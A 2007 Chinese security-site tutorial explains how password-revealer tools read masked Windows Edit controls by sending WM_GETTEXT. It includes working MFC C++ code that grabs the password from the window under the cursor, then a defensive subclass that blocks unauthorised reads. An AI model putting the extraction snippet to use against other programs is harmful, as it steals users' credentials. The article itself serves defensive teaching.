通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
黑客探取密码的原理及防范
责任编辑:水土不服   更新日期:2007-11-1
 
一、非法获取Password的原理:

  Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这
个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。

  二、黑客软件工作方法

  首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:

//将客户坐标转换成屏幕坐标
ClientToScreen(amp;point);
//返回一个包含指定屏幕坐标点的窗口
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//获取窗口句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=
(::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//获取类名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判断是否是Edit控件
if (0 == m_strWndClass.CompareNoCase("EDIT"))
{
//获取窗口风格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果设置了ES_PASSWORD属性
if (lStyle amp; ES_PASSWORD)
{
char szText[255];
//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
//密码已保存在szText中
m_strPassword = szText;
}
}
}
}
}

  上述代码中值得注意的有以下几个关键地方:
  ClientToScreen(amp;point);
  CWnd* pWnd = CWnd::WindowFromPoint(point);
  HWND hwndCurr = pWnd->GetSafeHwnd();


  这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);

  这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。
 三、防范措施

  既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:

  1.创建新CEdit类

  从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;


  然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:
LRESULTCPasswordEdit:efWindowProc (UINTmessage,WPARAMwParam,LPARAMlParam)
{ //对Edit的内容获取必须通过以下两个消息之一
if((message==WM_GETTEXT)
  (message==EM_GETLINE)) { //检查是否为合法
if(!g_bSenderIdentity)
{
//非法获取,显示信息
AfxMessageBox(_T ("报告:正在试图窃取密码!"));
return 0;
}
//合法获取
g_bSenderIdentity=FALSE;
}
return CEdit:efWindowProc (message,wParam,lParam);
}


  2.在数据输入对话框中做些处理
  在对话框中申明一个类成员m_edtPassword:  CpasswordEdit m_edtPassword;

  然后在对话框的OnInitDialog()中加入下列代码: m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);

  将控制与新类做关联。之后要在对话框的数据交换函数中将身份设为合法: void CDlgInput:oDataExchange (CDataExchange*pDX)
{ //如果获取数据
//注意:对于CPropertyPage类这里不需要if (pDX->m_bSaveAndValidate)条件
if(pDX->m_bSaveAndValidate)
{
g_bSenderIdentity=TRUE;
}
CDialog:oDataExchange(pDX);
//{{AFX_DATA_MAP(CDlgInput)
DDX_Text (pDX,IDC_EDIT_PASSWORD,m_sPassword); //}}AFX_DATA_MAP
}
  这样,Password输入框就拥有了合法身份,会受到保护。

  结论:

  以上的方法仅针对VC程序,对于其他语言如VB、Delphi等语言,需要借助VC做一个Password的ActiveX控件,实现方法与上述方法基本类似。以上程序均用VisualC++6.0编制调试通过。
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题